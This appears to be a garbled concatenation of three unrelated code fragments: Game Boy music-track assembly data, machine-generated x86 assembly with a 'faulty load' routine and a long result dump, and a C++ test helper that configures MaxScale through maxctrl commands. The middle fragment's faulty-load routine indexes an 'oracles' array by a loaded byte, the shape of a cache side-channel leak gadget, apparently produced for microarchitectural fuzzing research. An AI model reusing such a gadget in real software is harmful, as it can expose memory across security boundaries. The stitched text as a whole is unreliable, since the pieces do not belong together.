.db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x02 ; 2 .db #0x0a ; 10 .db #0x26 ; 38 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x29 ; 41 .db #0x70 ; 112 'p' .db #0xcc ; 204 .db #0x26 ; 38 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x22 ; 34 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x22 ; 34 .db #0x70 ; 112 'p' .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x26 ; 38 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x24 ; 36 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x22 ; 34 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x24 ; 36 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 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66 'B' .db #0x5a ; 90 'Z' .db #0x04 ; 4 .db #0x42 ; 66 'B' .db #0x5a ; 90 'Z' .db #0x04 ; 4 .db #0x42 ; 66 'B' .db #0x5a ; 90 'Z' .db #0x04 ; 4 .db #0x42 ; 66 'B' .db #0x5a ; 90 'Z' .db #0x04 ; 4 .db #0x42 ; 66 'B' .db #0x5a ; 90 'Z' .db #0x04 ; 4 .db #0x42 ; 66 'B' .db #0x5a ; 90 'Z' .db #0x04 ; 4 .db #0x42 ; 66 'B' .db #0x5a ; 90 'Z' .db #0x04 ; 4 .db #0x42 ; 66 'B' .db #0x5a ; 90 'Z' .db #0x0b ; 11 .db #0x03 ; 3 _order1: .dw _P2 .dw _P6 .dw _P10 .dw _P11 .dw _P16 .dw _P16 .dw _P16 .dw _P16 .dw _P0 _order2: .dw _P1 .dw _P7 .dw _P3 .dw _P13 .dw _P15 .dw _P17 .dw _P18 .dw _P19 .dw _P0 _order3: .dw _P0 .dw _P4 .dw _P8 .dw _P12 .dw _P8 .dw _P8 .dw _P8 .dw _P8 .dw _P0 _order4: .dw _P0 .dw _P5 .dw _P9 .dw _P14 .dw _P9 .dw _P9 .dw _P9 .dw _P9 .dw _P0 _duty_instruments: .db #0x08 ; 8 .db #0x80 ; 128 .db #0x80 ; 128 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0x20 ; 32 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x40 ; 64 .db #0xa0 ; 160 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x40 ; 64 .db #0x30 ; 48 '0' .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x40 ; 64 .db #0x90 ; 144 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x40 ; 64 .db #0x30 ; 48 '0' .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 .db #0x08 ; 8 .db #0x80 ; 128 .db #0xf0 ; 240 .db #0x80 ; 128 _wave_instruments: .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x01 ; 1 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x80 ; 128 _noise_instruments: .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xa2 ; 162 .db #0x49 ; 73 'I' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x81 ; 129 .db #0x40 ; 64 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x90 ; 144 .db #0x7e ; 126 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0xf0 ; 240 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 _waves: .db #0xff ; 255 .db #0xee ; 238 .db #0xdd ; 221 .db #0xcc ; 204 .db #0xbb ; 187 .db #0xaa ; 170 .db #0x99 ; 153 .db #0x88 ; 136 .db #0x77 ; 119 'w' .db #0x66 ; 102 'f' .db #0x55 ; 85 'U' .db #0x44 ; 68 'D' .db #0x33 ; 51 '3' .db #0x22 ; 34 .db #0x11 ; 17 .db #0x00 ; 0 .db #0x8a ; 138 .db #0xce ; 206 .db #0xff ; 255 .db #0xff ; 255 .db #0xff ; 255 .db #0xff ; 255 .db #0xfe ; 254 .db #0xca ; 202 .db #0x85 ; 133 .db #0x31 ; 49 '1' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x00 ; 0 .db #0x01 ; 1 .db #0x35 ; 53 '5' .db #0xb0 ; 176 .db #0x9a ; 154 .db #0x90 ; 144 .db #0x93 ; 147 .db #0x5d ; 93 .db #0x72 ; 114 'r' .db #0x74 ; 116 't' .db #0x85 ; 133 .db #0x44 ; 68 'D' .db #0x59 ; 89 'Y' .db #0x92 ; 146 .db #0x19 ; 25 .db #0x55 ; 85 'U' .db #0xe1 ; 225 .db #0xb4 ; 180 .db #0x02 ; 2 .db #0x3b ; 59 .db #0x2d ; 45 .db #0x0a ; 10 .db #0xd1 ; 209 .db #0x33 ; 51 '3' .db #0x3e ; 62 .db #0x5a ; 90 'Z' .db #0x09 ; 9 .db #0x71 ; 113 'q' .db #0x3c ; 60 .db #0x80 ; 128 .db #0x00 ; 0 .db #0xe7 ; 231 .db #0x4b ; 75 'K' .db #0x02 ; 2 .db #0x01 ; 1 .db #0x6b ; 107 'k' .db #0xea ; 234 .db #0x7e ; 126 .db #0xdc ; 220 .db #0x07 ; 7 .db #0xcc ; 204 .db #0x99 ; 153 .db #0x5d ; 93 .db #0xd0 ; 208 .db #0x62 ; 98 'b' .db #0x3a ; 58 .db #0xc2 ; 194 .db #0x81 ; 129 .db #0x7a ; 122 'z' .db #0x38 ; 56 '8' .db #0x35 ; 53 '5' .db #0x46 ; 70 'F' .db #0xe9 ; 233 .db #0x52 ; 82 'R' .db #0x6e ; 110 'n' .db #0x58 ; 88 'X' .db #0xc7 ; 199 .db #0x03 ; 3 .db #0x06 ; 6 .db #0xa5 ; 165 .db #0x4e ; 78 'N' .db #0x96 ; 150 .db #0x3d ; 61 .db #0x0c ; 12 .db #0x7b ; 123 .db #0x25 ; 37 .db #0x5a ; 90 'Z' .db #0x7e ; 126 .db #0xa1 ; 161 .db #0x01 ; 1 .db #0x99 ; 153 .db #0x8d ; 141 .db #0x81 ; 129 .db #0x4a ; 74 'J' .db #0x8c ; 140 .db #0x3d ; 61 .db #0x45 ; 69 'E' .db #0xd5 ; 213 .db #0x9a ; 154 .db #0x20 ; 32 .db #0x84 ; 132 .db #0x73 ; 115 's' .db #0x3e ; 62 .db #0x38 ; 56 '8' .db #0x10 ; 16 .db #0x1e ; 30 .db #0x92 ; 146 .db #0x92 ; 146 .db #0xb7 ; 183 .db #0xe3 ; 227 .db #0xc7 ; 199 .db #0xe0 ; 224 .db #0x5e ; 94 .db #0x99 ; 153 .db #0x33 ; 51 '3' .db #0xd1 ; 209 .db #0x3b ; 59 .db #0xeb ; 235 .db #0x51 ; 81 'Q' .db #0x26 ; 38 .db #0x4b ; 75 'K' .db #0x1c ; 28 .db #0x68 ; 104 'h' .db #0xb8 ; 184 .db #0xda ; 218 .db #0xe4 ; 228 .db #0xc5 ; 197 .db #0x71 ; 113 'q' .db #0x80 ; 128 .db #0x0c ; 12 .db #0xee ; 238 .db #0x37 ; 55 '7' .db #0x8a ; 138 .db #0xe3 ; 227 .db #0x77 ; 119 'w' .db #0x35 ; 53 '5' .db #0x62 ; 98 'b' .db #0x3b ; 59 .db #0xa7 ; 167 .db #0xaa ; 170 .db #0x0c ; 12 .db #0x68 ; 104 'h' .db #0x49 ; 73 'I' .db #0x6e ; 110 'n' .db #0xd2 ; 210 .db #0x82 ; 130 .db #0x1c ; 28 .db #0x47 ; 71 'G' .db #0x9a ; 154 .db #0x37 ; 55 '7' .db #0x21 ; 33 .db #0x66 ; 102 'f' .db #0x8a ; 138 .db #0xea ; 234 .db #0xab ; 171 .db #0x6b ; 107 'k' .db #0x76 ; 118 'v' .db #0x6d ; 109 'm' .db #0xb9 ; 185 .db #0xd9 ; 217 .db #0x74 ; 116 't' .db #0x2b ; 43 .db #0x12 ; 18 .db #0x12 ; 18 .db #0xa1 ; 161 .db #0x2b ; 43 .db #0xb1 ; 177 .db #0x10 ; 16 .db #0x25 ; 37 .db #0x9d ; 157 .db #0x94 ; 148 .db #0xe3 ; 227 .db #0x8c ; 140 .db #0x36 ; 54 '6' .db #0xaa ; 170 .db #0x8a ; 138 .db #0x7b ; 123 .db #0xe3 ; 227 .db #0x83 ; 131 .db #0x39 ; 57 '9' .db #0xe5 ; 229 .db #0x70 ; 112 'p' .db #0x35 ; 53 '5' .db #0xb7 ; 183 .db #0x76 ; 118 'v' .db #0x52 ; 82 'R' .db #0x69 ; 105 'i' .db #0xea ; 234 .db #0x7e ; 126 .db #0xb5 ; 181 .db #0x62 ; 98 'b' .db #0x97 ; 151 .db #0x99 ; 153 .db #0xb5 ; 181 .db #0xc8 ; 200 .db #0xb7 ; 183 .db #0x80 ; 128 .db #0xce ; 206 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x3d ; 61 .db #0xa1 ; 161 .db #0x6e ; 110 'n' .db #0xb2 ; 178 .db #0x69 ; 105 'i' .db #0xe2 ; 226 .db #0x5e ; 94 .db #0x66 ; 102 'f' .db #0x8a ; 138 .db #0x91 ; 145 .db #0xee ; 238 .db #0x2a ; 42 .db #0xde ; 222 .db #0x2a ; 42 .db #0x9a ; 154 .db #0x62 ; 98 'b' .db #0xe3 ; 227 .db #0x78 ; 120 'x' .db #0xc2 ; 194 .db #0x14 ; 20 .db #0x49 ; 73 'I' .db #0xba ; 186 .db #0xa4 ; 164 .db #0xdc ; 220 .db #0x8b ; 139 .db #0xbc ; 188 .db #0x02 ; 2 .db #0x7a ; 122 'z' .db #0x32 ; 50 '2' .db #0xd1 ; 209 .db #0x08 ; 8 .db #0xb5 ; 181 .db #0xe3 ; 227 .db #0x4d ; 77 'M' .db #0x4d ; 77 'M' .db #0xb1 ; 177 .db #0x68 ; 104 'h' .db #0x6b ; 107 'k' .db #0x2a ; 42 .db #0xb1 ; 177 .db #0xb2 ; 178 .db #0x3b ; 59 .db #0xb1 ; 177 .db #0x2b ; 43 .db #0x6a ; 106 'j' .db #0xb1 ; 177 .db #0x99 ; 153 ___bank_music_track_101__Data = 0x00ff _music_track_101__Data: .db #0x07 ; 7 .dw _order_cnt .dw _order1 .dw _order2 .dw _order3 .dw _order4 .dw _duty_instruments .dw _wave_instruments .dw _noise_instruments .dw #0x0000 .dw _waves .area _INITIALIZER .area _CABS (ABS)
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x8ab1, %r14 nop nop nop nop nop inc %r12 movb (%r14), %r8b cmp %rdx, %rdx lea addresses_WC_ht+0x14a61, %r11 nop nop nop nop nop inc %r13 movw $0x6162, (%r11) nop nop nop nop nop cmp $62224, %r9 lea addresses_WC_ht+0x1ab81, %r9 nop nop dec %rdx movups (%r9), %xmm6 vpextrq $1, %xmm6, %r12 add $26576, %r12 lea addresses_A_ht+0x5d31, %rsi lea addresses_D_ht+0xeecd, %rdi xor %r14, %r14 mov $56, %rcx rep movsw nop nop nop nop nop and %r11, %r11 lea addresses_A_ht+0x45a1, %rsi lea addresses_D_ht+0xe21, %rdi clflush (%rsi) nop nop add $57720, %r12 mov $86, %rcx rep movsb nop nop nop nop nop sub $61623, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %rax push %rbx push %rdi push %rdx // Store lea addresses_normal+0x18d21, %r13 nop nop nop nop nop dec %r12 movb $0x51, (%r13) and %rax, %rax // Store lea addresses_WT+0x1f4e1, %rbx nop cmp $22753, %rdx movw $0x5152, (%rbx) nop nop nop nop nop xor $17958, %rdi // Store lea addresses_RW+0x1f369, %rdx nop nop nop nop xor $16822, %r13 movb $0x51, (%rdx) nop nop add %r14, %r14 // Store lea addresses_D+0x1a666, %rdi nop nop nop nop nop and %rax, %rax mov $0x5152535455565758, %r14 movq %r14, %xmm0 vmovups %ymm0, (%rdi) nop cmp $28850, %r12 // Load lea addresses_normal+0x16941, %r12 nop nop nop nop sub %rbx, %rbx movups (%r12), %xmm0 vpextrq $0, %xmm0, %rdi nop nop nop nop nop and $357, %rbx // Store lea addresses_WT+0x15561, %r13 dec %r12 movb $0x51, (%r13) nop nop nop nop nop and %r13, %r13 // Faulty Load lea addresses_D+0x17e61, %r13 nop add %rax, %rax mov (%r13), %r14 lea oracles, %r12 and $0xff, %r14 shlq $12, %r14 mov (%r12,%r14,1), %r14 pop %rdx pop %rdi pop %rbx pop %rax pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_RW', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': True}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
#include <maxtest/config_operations.hh> // The configuration should use these names for the services, listeners and monitors #define SERVICE_NAME1 "rwsplit-service" #define SERVICE_NAME2 "read-connection-router-master" #define SERVICE_NAME3 "read-connection-router-slave" #define LISTENER_NAME1 "rwsplit-service-listener" #define LISTENER_NAME2 "read-connection-router-master-listener" #define LISTENER_NAME3 "read-connection-router-slave-listener" struct { const char* service; const char* listener; int port; } services[] { {SERVICE_NAME1, LISTENER_NAME1, 4006}, {SERVICE_NAME2, LISTENER_NAME2, 4008}, {SERVICE_NAME3, LISTENER_NAME3, 4009} }; Config::Config(TestConnections* parent) : test_(parent) { } Config::~Config() { } void Config::add_server(int num) { test_->tprintf("Adding the servers"); test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", SERVICE_NAME1, num); test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", SERVICE_NAME2, num); test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", SERVICE_NAME3, num); for (auto& a : created_monitors_) { test_->maxscales->ssh_node_f(0, true, "maxctrl link monitor %s server%d", a.c_str(), num); } test_->stop_timeout(); } void Config::remove_server(int num) { test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl unlink service %s server%d", SERVICE_NAME1, num); test_->maxscales->ssh_node_f(0, true, "maxctrl unlink service %s server%d", SERVICE_NAME2, num); test_->maxscales->ssh_node_f(0, true, "maxctrl unlink service %s server%d", SERVICE_NAME3, num); for (auto& a : created_monitors_) { test_->maxscales->ssh_node_f(0, true, "maxctrl unlink monitor %s server%d", a.c_str(), num); } test_->stop_timeout(); } void Config::add_created_servers(const char* object) { for (auto a : created_servers_) { // Not pretty but it should work test_->maxscales->ssh_node_f(0, true, "maxctrl link service %s server%d", object, a); test_->maxscales->ssh_node_f(0, true, "maxctrl link monitor %s server%d", object, a); } } void Config::destroy_server(int num) { test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl destroy server server%d", num); created_servers_.erase(num); test_->stop_timeout(); } void Config::create_server(int num) { test_->set_timeout(120); auto homedir = test_->maxscales->access_homedir(0); char ssl_line[200 + 3 * strlen(homedir)] = ""; if (test_->backend_ssl) { sprintf(ssl_line, " --tls-key=/%s/certs/client-key.pem " " --tls-cert=/%s/certs/client-cert.pem " " --tls-ca-cert=/%s/certs/ca.pem " " --tls-version=MAX " " --tls-cert-verify-depth=9", homedir, homedir, homedir); } test_->maxscales->ssh_node_f(0, true, "maxctrl create server server%d %s %d %s", num, test_->repl->ip_private(num), test_->repl->port[num], ssl_line); created_servers_.insert(num); test_->stop_timeout(); } void Config::alter_server(int num, const char* key, const char* value) { test_->maxscales->ssh_node_f(0, true, "maxctrl alter server server%d %s %s", num, key, value); } void Config::alter_server(int num, const char* key, int value) { test_->maxscales->ssh_node_f(0, true, "maxctrl alter server server%d %s %d", num, key, value); } void Config::alter_server(int num, const char* key, float value) { test_->maxscales->ssh_node_f(0, true, "maxctrl alter server server%d %s %f", num, key, value); } void Config::create_monitor(const char* name, const char* module, int interval) { test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl create monitor %s %s monitor_interval=%d user=%s password=%s", name, module, interval, test_->maxscales->user_name, test_->maxscales->password); test_->stop_timeout(); created_monitors_.insert(std::string(name)); } void Config::alter_monitor(const char* name, const char* key, const char* value) { test_->maxscales->ssh_node_f(0, true, "maxctrl alter monitor %s %s %s", name, key, value); } void Config::alter_monitor(const char* name, const char* key, int value) { test_->maxscales->ssh_node_f(0, true, "maxctrl alter monitor %s %s %d", name, key, value); } void Config::alter_monitor(const char* name, const char* key, float value) { test_->maxscales->ssh_node_f(0, true, "maxctrl alter monitor %s %s %f", name, key, value); } void Config::start_monitor(const char* name) { test_->maxscales->ssh_node_f(0, true, "maxctrl start monitor %s", name); } void Config::destroy_monitor(const char* name) { test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl destroy monitor %s", name); test_->stop_timeout(); created_monitors_.erase(std::string(name)); } void Config::restart_monitors() { for (auto& a : created_monitors_) { test_->maxscales->ssh_node_f(0, true, "maxctrl stop monitor \"%s\"", a.c_str()); test_->maxscales->ssh_node_f(0, true, "maxctrl start monitor \"%s\"", a.c_str()); } } void Config::create_listener(Config::Service service) { int i = static_cast<int>(service); test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl create listener %s %s %d", services[i].service, services[i].listener, services[i].port); test_->stop_timeout(); } void Config::create_ssl_listener(Config::Service service) { int i = static_cast<int>(service); auto homedir = test_->maxscales->access_homedir(0); test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl create listener %s %s %d " "--tls-key=%s/certs/server-key.pem " "--tls-cert=%s/certs/server-cert.pem " "--tls-ca-cert=%s/certs/ca.pem ", services[i].service, services[i].listener, services[i].port, homedir, homedir, homedir); test_->stop_timeout(); } void Config::destroy_listener(Config::Service service) { int i = static_cast<int>(service); test_->set_timeout(120); test_->maxscales->ssh_node_f(0, true, "maxctrl destroy listener %s %s", services[i].service, services[i].listener); test_->stop_timeout(); } void Config::create_all_listeners() { create_listener(SERVICE_RWSPLIT); create_listener(SERVICE_RCONN_SLAVE); create_listener(SERVICE_RCONN_MASTER); } void Config::reset() { /** Make sure the servers exist before checking that connectivity is OK */ for (int i = 0; i < test_->repl->N; i++) { if (created_servers_.find(i) == created_servers_.end()) { create_server(i); add_server(i); } } } bool Config::check_server_count(int expected) { bool rval = true; if (test_->maxscales->ssh_node_f(0, true, "test \"`maxctrl list servers --tsv|grep 'server[0-9]'|wc -l`\" == \"%d\"", expected)) { test_->add_result(1, "Number of servers is not %d.", expected); rval = false; } return rval; }
